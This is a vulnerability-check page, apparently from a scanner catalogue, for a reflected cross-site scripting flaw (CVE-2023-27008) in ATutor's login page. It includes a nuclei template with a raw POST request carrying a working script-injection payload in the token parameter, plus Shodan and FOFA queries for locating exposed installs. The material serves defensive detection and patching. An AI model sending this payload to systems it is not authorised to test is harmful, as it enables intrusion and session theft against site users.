ATutor < 2.2.1 - Cross Site Scripting

mediumseverity

6.1CVSS score

1.5%likelihood of exploitation, next 30 days

75%of all CVEs are less likely

Readycheck to confirm it

ATutor < 2.2.1 was discovered with a vulnerability, a reflected cross-site scripting (XSS), in ATtutor 2.2.1 via token body parameter.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.

Fix

Upgrade ATutor to version 2.2.2 or above to mitigate this vulnerability.

How to confirm it

Send: POST /atutor/login.php
Positive when: contains ");}alert(document.domain); function" and "ATutor" and "Login" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2023-27008 -u <target>

The full check

id: CVE-2023-27008

info:
  name: ATutor < 2.2.1 - Cross Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    ATutor < 2.2.1 was discovered with a vulnerability, a reflected cross-site scripting (XSS), in ATtutor 2.2.1 via token body parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Upgrade ATutor to version 2.2.2 or above to mitigate this vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-27008
    - https://plantplants213607121.wordpress.com/2023/02/16/atutor-2-2-1-cross-site-scripting-via-the-token-body-parameter/
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-27008
    cwe-id: CWE-79
    epss-score: 0.01499
    epss-percentile: 0.74477
    cpe: cpe:2.3:a:atutor:atutor:2.2.1:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: atutor
    product: atutor
    shodan-query:
      - http.html:"Atutor"
      - http.html:"atutor"
    fofa-query: body="atutor"
  tags: cve,cve2023,xss,atutor,vkev,vuln

http:
  - raw:
      - |
        POST /atutor/login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        token=asdf");}alert(document.domain);+function+asdf()+{//

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - ");}alert(document.domain); function"
          - "ATutor"
          - "Login"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from